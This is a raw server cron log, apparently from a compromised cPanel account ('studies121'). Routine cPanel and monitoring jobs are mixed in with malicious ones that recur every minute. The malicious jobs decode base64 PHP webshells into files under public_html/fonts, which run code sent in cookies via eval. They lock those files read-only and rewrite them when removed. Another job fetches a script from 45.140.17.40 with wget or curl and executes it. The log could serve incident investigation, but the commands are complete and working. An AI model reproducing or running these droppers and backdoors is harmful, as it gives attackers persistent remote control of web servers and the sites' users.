Sep  1 17:40:01 ip-184-168-122-23 CROND[31186]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 17:40:01 ip-184-168-122-23 CROND[31187]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 17:41:01 ip-184-168-122-23 CROND[31281]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 17:41:01 ip-184-168-122-23 CROND[31285]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 17:41:01 ip-184-168-122-23 CROND[31287]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 17:41:01 ip-184-168-122-23 CROND[31288]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 17:42:01 ip-184-168-122-23 CROND[31384]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 17:42:01 ip-184-168-122-23 CROND[31386]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 17:42:01 ip-184-168-122-23 CROND[31387]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 17:42:01 ip-184-168-122-23 CROND[31388]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 17:42:01 ip-184-168-122-23 CROND[31390]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 17:43:01 ip-184-168-122-23 CROND[31485]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 17:43:01 ip-184-168-122-23 CROND[31487]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 17:43:01 ip-184-168-122-23 CROND[31488]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 17:43:01 ip-184-168-122-23 CROND[31489]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 17:44:01 ip-184-168-122-23 CROND[31661]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 17:44:01 ip-184-168-122-23 CROND[31662]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 17:44:01 ip-184-168-122-23 CROND[31663]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 17:44:01 ip-184-168-122-23 CROND[31668]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 17:44:01 ip-184-168-122-23 CROND[31667]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 17:45:01 ip-184-168-122-23 CROND[31765]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 17:45:01 ip-184-168-122-23 CROND[31767]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 17:45:01 ip-184-168-122-23 CROND[31766]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 17:45:01 ip-184-168-122-23 CROND[31769]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 17:45:01 ip-184-168-122-23 CROND[31771]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 17:45:01 ip-184-168-122-23 CROND[31770]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 17:46:01 ip-184-168-122-23 CROND[31863]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 17:46:01 ip-184-168-122-23 CROND[31864]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 17:46:01 ip-184-168-122-23 CROND[31866]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  1 17:46:01 ip-184-168-122-23 CROND[31867]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 17:46:01 ip-184-168-122-23 CROND[31868]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 17:46:01 ip-184-168-122-23 CROND[31865]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 17:46:01 ip-184-168-122-23 CROND[31870]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 17:47:01 ip-184-168-122-23 CROND[31997]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 17:47:01 ip-184-168-122-23 CROND[31998]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 17:47:01 ip-184-168-122-23 CROND[31999]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 17:47:01 ip-184-168-122-23 CROND[32000]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 17:48:01 ip-184-168-122-23 CROND[32074]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 17:48:01 ip-184-168-122-23 CROND[32076]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 17:48:01 ip-184-168-122-23 CROND[32079]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 17:48:01 ip-184-168-122-23 CROND[32078]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 17:48:01 ip-184-168-122-23 CROND[32077]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 17:49:01 ip-184-168-122-23 CROND[32157]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 17:49:01 ip-184-168-122-23 CROND[32158]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 17:49:01 ip-184-168-122-23 CROND[32160]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 17:49:01 ip-184-168-122-23 CROND[32159]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 17:50:01 ip-184-168-122-23 CROND[32338]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 17:50:01 ip-184-168-122-23 CROND[32337]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 17:50:01 ip-184-168-122-23 CROND[32340]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 17:50:01 ip-184-168-122-23 CROND[32343]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 17:50:01 ip-184-168-122-23 CROND[32345]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 17:50:01 ip-184-168-122-23 CROND[32346]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 17:50:01 ip-184-168-122-23 CROND[32347]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 17:50:01 ip-184-168-122-23 CROND[32354]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 17:50:01 ip-184-168-122-23 CROND[32355]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 17:51:01 ip-184-168-122-23 CROND[32457]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 17:51:02 ip-184-168-122-23 CROND[32459]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 17:51:02 ip-184-168-122-23 CROND[32460]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 17:51:02 ip-184-168-122-23 CROND[32462]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 17:52:01 ip-184-168-122-23 CROND[32543]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 17:52:01 ip-184-168-122-23 CROND[32545]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 17:52:01 ip-184-168-122-23 CROND[32546]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 17:52:01 ip-184-168-122-23 CROND[32548]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
